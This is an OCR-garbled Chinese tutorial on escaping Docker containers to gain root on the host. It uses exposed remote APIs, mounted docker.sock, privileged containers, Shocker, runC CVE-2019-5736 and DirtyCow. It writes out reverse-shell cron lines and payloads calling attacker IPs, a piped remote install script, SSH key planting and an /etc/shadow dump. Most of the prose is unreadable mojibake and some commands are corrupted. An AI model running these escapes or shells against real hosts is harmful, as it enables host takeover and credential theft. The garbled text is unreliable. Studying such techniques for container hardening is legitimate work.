—. RSB EdockersRE
Bt BIIEERFIMEAEdockerIMEE |, BRI MENA :

&/ . dockerenvX 2 BEFE
#®/proc/1/cgroupMEBEEE " docker "EFiFE,

BEiskR , XIS UERICRARRY , a5, itglimount, fdisk IEEEE . FIHPID 189HES
St n] FRskEBBhFHT,

=. EEEAHSI%RIdockeriti®
2.1 docker remote apisKigZHLsE

imiERIA : docker remote apigJLAfi{Tdockerds< , dockersPiPHHFENRIF7E0.0.0.0 , AT EIEVEFIAPISRIZ(E
docker,

sudo dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

@iddocker daemon api #1iTdockerip<,

#BHAREEER , B Edocker ps—EL,
curl http://<target>:2375/containers/json

#EIE R
docker -H tcp://<target>:2375 ps -a

imiRAA
A, BT B8 BEHRRENRSHIRERERE/mntBRT.

sudo docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash

B. EBRBANITHS | BEshellfIIAS A\ZEl/var/spool/cron/root

echo '* * * * * /pin/bash -i >& /dev/tcp/10.1.1.214/12345 0>&1"' >>
/mnt/var/spool/cron/crontabs/root

C. AbiarimO , FREXI S EEshell,

2.2 docker.sockiEEFIRERER

HEHIAR : BRI Zdocker in docker , fEdockerFagERFIHITEENAIdocker , dockerfEEHHY
docker3Z{fF1docker.sock 3 {HEEEIR=RH , BRI :


af://n34
af://n39

docker run --rm -it \
-v /var/run/docker.sock:/var/run/docker.sock \
-v /usr/bin/docker:/usr/bin/docker \
ubuntu \
/bin/bash

IR -

A, EREEPFZFE]docker.sock

root@95a280bc5al9:/# find / -name docker.sock
/run/docker.sock

B. =R sEEEB®Idocker(5R :

docker -H unix:///var/run/docker.sock info

C. BIT— MR ERBEEIURERE

docker -H unix:///var/run/docker.sock run -it -v /:/test ubuntu /bin/bash

D. fEFE=slY/test BRT , I LUBAZIBEENNEERNR , Z FRMES AsshZHSEB AT IES | 3AE

shell,

1s -al /test

root@4d2a54d4as8fb: /# docker -H unix:///var/run/docker.sock run -it -v /:/test ubuntu /bin/bash
root@9c09b148d10f: /# 1s

boot dev etc home media mnt opt proc root run srv sys test [l usr var
root@9c09b148d10f: /# 1s -al /test
total 92
drwxr-xr-x 2
drwxr-xr-x

root root 4096 Jul 28 11:46 .

root root 4096 Jul 28 15:23 ..

root root 34 Jul 28 11:46 .bash_history
root root 4096 Jul 27 03:27 bin

root root 4096 Jul 27 02:20 boot

root root 4240 Jul 27 15:14 dev

root root 4096 Jul 27 15:14 etc

root root 4096 Jul 27 02:20 home

root root 32 Jul 27 01:50 -> boot/initrd.img-4.4.0-31-generic
root root 4096 Jul 27 05:14 lib

root root 4096 Jul 27 05:14 1ib64

root root 16384 Jul 27 01:49 lost+found
root root 4096 Jul 27 01:49 media

3
1
1
drwxr-xr-x 2
3

7

9

3

1

1

2

2

3

drwxr-xr-x 2 root root 4096 Apr 10 2014 mnt

2

8

5

9

2

2

3

3

5

0

3

1

drwxr-xr-x
drwxr-xr-x 1
drwxr-xr-x 9
drwxr-xr-x
Trwxrwxrwx
drwxr-xr-x 2
drwxr-xr-x

root root 4096 Aug 3 2016 opt
root root 0 Jul 27 15:14 proc
root root 4096 Jul 28 11:27 root
root root 760 Jul 28 11:32 run
root root 4096 Jul 27 ©3:27 sbin

drwxr-xr-x 1
drwxr-xr-x

drwxr-xr-x root root 4096 Aug 3 2016 srv
dr-xr-xr-x 13 root root 0 Jul 28 07:38 sys
drwxr-xr-x root root 4096 Jul 27 14:43 titan
drwxrwxrwt root root 4096 Jul 28 15:23 [l
drwxr-xr-x 10 root root 4096 Jul 27 01:49 usr
drwxr-xr-x 13 root root 4096 Jul 27 14:43 var

Lrwxrwxrwx root root 29 Jul 27 01:50 -> boot/vmlinuz-4.4.0-31-generic

2.3 docker SfERBhE&%



dockerhfFE—EVRBRINEHNGRS | (LT ERBRAIUR | RIFHFT—EAFRURE , E—ERNFET , JLS
Ha=mtik,

docker run --rm -it
--privileged
-v /:/soft
--cap-add=SYS_ADMIN
--net=host
--pid=host
--ipc=host
ubuntu
/bin/bash

FFRUER, (--privileged )

ERERUER SRS | dockerBIE RENBIE mountay SIGIMERRE TN AR SIERIHB RN , REEAD
BETNAISHESR |, HINAATLUBE BN HMES F LB ENHTSR L.

iR, -

A, BIFFREREIT NS
sudo docker run -itd --privileged ubuntu:latest /bin/bash

B. B8R  BEEMENH

fdisk -1

Size Id Type

2 83 Linux
39944150 41940551 i - X =
441592 41940991 G5 k: M 82 Linux swap / Sola

C. ¥B/dev/sdal HEHZFZEBER

mkdir /test
mount /dev/sdal /test

D. BT HMESBARIEEMN



echo '* * * * * /pin/bash -i >& /dev/tcp/192.168.172.136/12345 0>&1"' >>
/test/var/spool/cron/crontabs/root

E. FFEncislT , AIhIRENE £ EEAIshell,

FEHBURBF (-v /:/soft)
SRR -
A. BEENrootBRIERTIAE

docker run -itd -v /root:/root ubuntu:18.04 /bin/bash

B. t&IMREEB A\ssh& R

mkdir /root/.ssh
cat id_rsa.pub >> /root/.ssh/authorized_keys

C. FIFBFARRINE R, FRENEEHIR,

rnntéb}hass:w# ssh root@le.1.1.216
Welcome to Ubuntu 14.84.5 LTS (GNU/Linux 4.4.8-31-generic x86 64)

* Documentation: https://help.ubuntu.com/

System information as of Tue Jul 28 19:24:12 CST 2020

System load: ©0.14 Users logged in: 1

Usage of /: 20.1% of 17.58GB IP address for etho: 18.1.1.216
Memory usage: 24% IP address for br-8ab58f17371c: 172.18.0.1
Swap usage: % IP address for docker0: 172.17.0.1
Frocesses: 192

Graph this data and manage this system at:
https://landscape.canonical.com/

New release '15.94.56 LTS' avallable.
Run 'do-release-upgrade' to upgrade to 1it.

Last login: Tue Jul 28 19:24:12 2020 from 10.1.1.219

root@ubuntu:~# whoami
root

BXEHNSHFENZ LR

Docker i@idLinux namespaceSLHl6 IR IFIRE  BAENE. BPRR. XHERFE. MK, HES. HIZAE
M. EFMDENSEIZTERPRBAIIBIR , WK T B RREERR,

--cap-add=SYS_ADMIN [SzifT , eIFHITmountiUR(E , TIRERIRIERHITFIA.

--net=host BEIAT , 5dNetwork Namespace
--pid=host BEIRT , 8849 PID Namespace

-—ipc=host BnhRT , £89IPC Namespace



—. Docker FR{fi&it5|E2aItE

3.1 Shocker I

TRIEEIA © MDockerFeSbEFHEREIENE N B RAIUENS. ShockerTERIERIIT T RFAA
open_by_handle_atE&#] , LinuxFEAh4E51IREIERopen_by_handle_atEREFHEEEZ CAP_DAC_READ_SEARCHEE
73, MDocker1.0lrAXCapability(FFIEERETERME , FHEIZBMRHICAP_DAC_READ_SEARCHEEN , EM5I&T

BRRRAIXBL,

TRASEARA © DockerhiRa<< 1.0 , 7Z#EF Docker 1.0 ZHIHBASZERAS.,

githubI B bt : https://github.com/gabrtv/shocker

root@precisesd:~# docker run gabrtv/shocker

[##*#] docker VMM-container breakout Po(C) 2814

[#**] The tea from the 98"s kicks your sekurity again.
[##*] If you have pending sec consulting, I'1l1 happily
[***] forward to my friends who drink secury-tea too!
[#]1 Resolving 'etc/shadow”

[#]1 Found vmlinuz

[¥] Found vagrant

[*¥]1 Found libs4

[*] Found usr

[*] Found ...

[*] Found etc

[+]1 Match: etc ino=3932161

[#]1 Brute forcing remaining 32bit. This can take & while...

[#]1 (etc) Trying: 8x@eaessa8

[$$8]
[$$3]
[$$8]

[$$8]

[¥] #=B, 1, char nh[] = {@x@1, @xBad, Bx3c, Bx0A, Ox00, BxE0, Ox08, Ox00]:

[¥] Resolving 'shadow’
[*]1 Found timezone
[*] Found cron.hourly

[*¥] Found skel
[¥] Found shadow
[+]1 Match: shadow ino=3935729

[#¥] Brute forcing remaining 32bit. This can take a while...

[*]1 (shadow) Trying: @x@aG02288

[¥] #=8, 1, char nh[] = {@xfl, @xBd, @x3c, 68x6Q, o9x00, 8xE8, 9x6d, Ox2a7},

[!] Got a final handle!

[¥] #=8, 1, char nh[] = {@xfl, @xBd, Bx3c, BxBd, Ox00, BxE8, Ox68, Bx087;

[!]1 Win! fetc/shadow output follows:
root:!:15597:8:99999:7:::

daemon: *:15597:8:99999:7: ::
bim:#:15597:9:99999:7: 1 ;
Sys:¥:15597:0:99999:7;: . ;
SymC:*:15597:8:99999:7:.:
games:*:15597:@:99999:7:::
man:*:15597:8:99999:7: : :

3.2 runCEBiki%RFR ( CVE-2019-5736 )

IREA


af://n100
https://github.com/gabrtv/shocker

Docker 18.09.2Z BIRUARAER T HIrunchR 2~/ \F1.0-rc6 , A AT HEEESBEN EArunc Z#HEEINE |, I
HETLAEBEN L ArootSH#ITHS.

RSN

Dockerhg4s < 18.09.2 , runchR4s< 1.0-rc6 , —i&IEIR T , BIIBIT docker #ldocker-runc EEHRIRARER.
iR, -

1. WHINERE TR

curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o
install.sh && bash install.sh

2, THPOC, EXA | fwiF

T#ipoc
git clone https://github.com/Frichetten/CVE-2019-5736-PoC

#&¥Payload
vi main.go
payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.172.136/1234 0>&1"

fmiFERipayload
CGO_ENABLED=0 GOOS=11inux GOARCH=amd64 go build main.go

#MF dockerssehifT
sudo docker cp ./main 248f8b7d3c45:/tmp

3. HpEE | RSP HITpayload

# NS
sudo docker exec -it 248f8b7d3c45 /bin/bash

# EBUNER

chmod 777 main

# Pf7Payload
./main

/¢ cd Stmp
Sr/tmpd chmod 777 main
S /mpd

tmpd ./main

sh successfully

201eelal}

4, Big , EBR@ TexecENFSE , Mimfit&Payload,

sudo docker exec -it cafa20cfb0f9 /bin/sh



5. 1£192.168.172.136_E¥aMrAthum ] , A INFRENE N5 EISERshell,

06# hostname

Link encap:Ethernet HWaddr
inet add 2.17.0.1 Bcast:

Link encap:Ethernet HWaddr 00:0

frame:0
:0 carrier:0

A

DockerBEHFEApHON , SIEAMEEHEdocker-tar |, ZHIEIERASEN , BAEEITREASNE —L
libnss*.so/, BELILIEIIEEESFEMibnss* . soFRE , FBBiFEANE]docker-tarsh, ZDocker BB EIXNEEEH
ENXESESHTEERRS , BIhsEDockerdbif , RSB EHrooti R,

FANBRRA :

Docker 19.03.0

REMA

FHREZLHRA Docker 19.03.15% LA L,

. RimiEsEaIEER
4.1 FIADirtyCowiimiRAsEIDockeridti®

TR -


af://n134

Dirty Cow ( CVE-2016-5195 ) ZLinuxRZ-aIRIETHRIR , WIS B StIDocker S28IIR |, 3K15rootiLpRAT
shell,

iR -

1. MRS

dockerSTEENHZNZ , BFAIFEFEdirtyCowlmBRITEENEE.

XE , FAiIERubuntu-14.04.55k S,

2, MER T EFIET

git clone https://github.com/gebl/dirtycow-docker-vdso.git
cd dirtycow-docker-vdso/
sudo docker-compose run dirtycow /bin/bash

3. BENRRR , fWiEPOCHHIT:

cd /dirtycow-vdso/
make
./Oxdeadbeef 192.168.172.136:1234

root@bb?adadc !

root@bb7ad8dc dirty

nasm -f bin -o payload payload.s

¥xd -i payload payload.h

cC -0 gdbeef.o -c @xdeadbeef.c -Wall
cC -0 dbe ¥deadbeef.o

[*]
[*]
[*]

[*1
[*1

[*¥] waiting for rewverse connect shell...

4, 7£192.168.172.136 & 0rA im0 , FIhiEWEITENREMshell,




Ethernet
0.1 Bcast:1

Link enc
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